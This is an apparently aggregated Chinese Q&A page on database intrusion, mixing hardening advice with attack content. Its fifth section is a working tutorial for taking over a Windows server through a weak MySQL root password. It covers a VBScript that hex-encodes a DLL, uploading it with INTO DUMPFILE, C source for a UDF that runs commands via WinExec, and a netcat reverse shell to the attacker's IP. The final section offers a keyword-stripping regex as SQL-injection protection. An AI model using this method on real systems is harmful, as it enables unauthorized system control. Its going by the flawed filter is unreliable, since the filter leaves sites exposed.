資料庫入侵
❶ 資料庫被病毒入侵
cn資料庫名_db_data.mdf
這個是無關的文件,可能對方備份到你網站空間的,資料庫不可能存在於web空間的。
檢查一下你們的程序,有無注入點。
唉,下面要做的很麻煩,我都不想寫了。
1.後台地址-改。
2.後台用戶密碼-改。
3.檢查全部頁面代碼。
4.檢查上傳組件。
5.檢查各文件夾下是否有莫名的文件。
6.檢查上傳的圖片文件夾,是否有空文件,空意為預覽的時候啥都不顯示,但是文件的體積卻不為零。
7.下個空間探針,檢查磁碟許可權。
8.把不需要寫入文件的文件夾的寫入許可權去掉。
9.ftp密碼增強。
10.要IDC檢查伺服器的安全。
11.更改sql密碼,並且要IDC檢查sql安全。
累死了
❷ 資料庫如何防止被惡意入侵
如果是sql資料庫的話 其中有一個埠是1433 把這個埠號改一下自己想改的 其他的資料庫我還真有點忘了 挺長時間沒做這個了
❸ 怎麼侵入一個網站的資料庫,
基本上很難,沒有資料庫管理帳號基本上是沒法入侵資料庫
學習計算機網路 做事要正當,不能走歪路
❹ 入侵資料庫
先掃描主機(伺服器)漏洞,根據漏洞選擇黑客軟體入侵,一般較難,如果伺服器防護得嚴,是沒辦法入侵的。用戶名和密碼破解更難,往往分析密碼就要很長很長時間,不容易的!!
❺ 如何利用弱口令入侵MySQL資料庫
很早網上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統許可權,看清楚了,是「直接」得到!
首先,我簡單說一下mysql弱口令得到系統許可權得過程:首先利用mysql腳本上傳udf dll文件,然後利用注冊UDF
DLL中自寫的Function函數,而執行任意命令。
思路很簡單,網上也有一些教程,但是他們要麼沒有給具體的代碼,要麼一句話代過,搞得象我似得小菜很難理解,終於在我付出了幾天得不斷測試得辛勤勞動後,有了點結果,我把詳細過程和相關代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進制碼啦!
下面,我們先說如何生成二進制文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,欄位為data,類型為longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//導出表中內容為文件
前兩句很熟悉把,這個就是我們以前注入的時候,繞過』的解決辦法,把代碼的16進制數聲明給一個變數,然後導入這個變數就行了。只不過這里,因為16進制代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變數a中。後面幾句就很簡單了,我都有注釋。
後面三句好說,但是前面的那麼多16進制數據,手工的話,累人啊!不過你還記得以前有一個exe2bat.vbs腳本嗎?這次我們可以把這個腳本修改一下後,得到我們這里需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕松的得到我們所需的腳本。腳本內容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,現在只要你把所要上傳的文件拖到這個腳本圖標上面,就可以生成一個同名的txt文件了。這個txt文件,就是我們所需要的mysql腳本,當然我們還需要修改一下這個txt文件(畢竟他是我們偷工減料得來的!),把最後一行生成的多餘的那句「set
@a = concat('',0x」刪除了,加上建表,插值得那三句代碼即可!
腳本生成了,如何上傳?先登陸mysql伺服器:
C:\>mysql –u root –h hostip –p
Mysql>use mysql;
//先進入mysql默認得資料庫,否則你下一步的表將不知道屬於哪個庫
Mysql>\. E:\*.dll.txt;
//這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當然網速要快啦),不一會你的文件舊上傳完畢了!
下面到達我們的重點,我們上傳什麼dll文件?就目前我再網上看到的有兩個已經寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql> \. e:\mix.dll.txt;
Mysql>
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//這兒的注冊的Mixconnect就是在我們dll文件中實現的函數,我們將要用他執行系統命令!
Mysql> select
Mixconnect('你的ip','8080'); //填寫你的反彈ip和埠
過一會兒,你監聽8080埠的nc,就會得到一個系統許可權的shell了!如圖1:
這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接資料庫後,再次運行「select
Mixconnect('你的ip','8080');」的時候,對方的mysql會當掉!報錯,然後服務停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
再用my_udf.dll:
Mysql>\. C:\my_udf.dll.txt
Mysql> CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同樣地,my_udfdoor也是我們注冊後,用來執行系統命令得函數
Mysql> select my_udfdoor('』);
//這兒可以隨便寫my_udfdoor得參數,相當於我們只是要激活這個函數
好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:
D:\>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入「f**k」
,他是my_udfdoor默認密碼,自己無法更改
過一會兒,你就有了系統許可權的shell了,
由於他是hook
recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306埠,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令「select
my_udfdoor('』);」後),不管你是否連接,只要執行了:
Mysql>drop function my_udfdoor;
後,mysql也匯報錯,然後掛掉,
所以,你使用這個dll文件無法刪除你的痕跡!
最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
#include <stdlib.h>
#include <winsock.h>
#include
<mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 調用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個哥們Crackme是修改的:
#include
<stdlib.h>
#include <windows.h>
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //當然這兒的sys_name也得改!
{
char me[256] = {0};
if
(args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);
me[args->lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它來執行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
看操作:
Mysql>\.
C:\sysudf.dll.txt
Mysql>Create function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql>\. Nc.exe.txt //把nc.exe也上傳上去
Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name參數只有一個,參數指定要執行的系統命令
好,看看在Win2003中的一個反彈shell了,
當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時「drop
function
sys_name;」,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了。
上面三個dll文件可謂各有所短,如何選擇,就看你遇到的實際情況了。
好了,從腳本得編寫使用到dll文件編寫使用,說了這么多,現在大家應該都會了吧?題目說的是弱口令得到系統許可權,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u後又一大提權方法了嗎?
❻ 入侵資料庫和入侵伺服器的關系
首先伺服器和資料庫你沒搞清楚啊 ,簡單說伺服器就是一台提供服務的電腦 ,資料庫安裝在伺服器上的一套軟體
資料庫即可以和網站程序在同一台伺服器上,也可以分離在不同伺服器上
1 黑掉一個網站(給網站前端掛上黑頁)的攻擊目標是資料庫還是伺服器?
不明白你什麼意思,通過攻擊伺服器和資料庫都可以達到這個目標 ,但是掛黑頁的目標是掛馬吧
2竊取網站數據呢?(我覺得這個肯定是資料庫,驗證下)
這個就是資料庫了
3入侵資料庫/伺服器是不是都是 先以管理員身份進後台才可以實施?
不是的 ,可以完全不需要先以管理員身份進後台
❼ 如何入侵資料庫
用工具找到他的主機IP 共享他的數具 , 然後找到資料庫,,連接,然後用說具庫管理工具修改他的說具信息
工具嗎很多自己找
❽ 如果資料庫被入侵,應採取什麼措施
修改sa密碼,最好長點,每個應用用獨立的賬戶,並制定每個應用所需要方法的資料庫。控制伺服器埠的開發,對於數據伺服器只開1433埠。
資料庫安全主要是應用程序泄露了資料庫鏈接信息,應用訪問資料庫的程序盡量加密,避免反編譯和網路截取
操作系統不安全也是有可能的,建議安裝防火牆,關閉沒有應用的埠。
黑客的訪問記錄很難查出來,開通數據審計功能,所有操作資料庫的記錄都能記錄下來,不過這就成了海量數據了,需要去慢慢分析,找出沒有按照正常模式進去的記錄。
❾ 大家好黑客入侵資料庫算是犯法嗎
當然是犯法了,不管你出於什麼樣的目的,這是不合法的
❿ 網站SQL資料庫總是被人入侵,有什麼方法解決
過濾Request(C#)
public static string MASK(string inSTR)
{
Regex sqlExp = new Regex(@"(and|exec|insert|select|delete|update|count|drop|table|%|chr|mid|master|truncate|char|declare|'|--|xp_)");
return sqlExp.Replace(inSTR, "");
}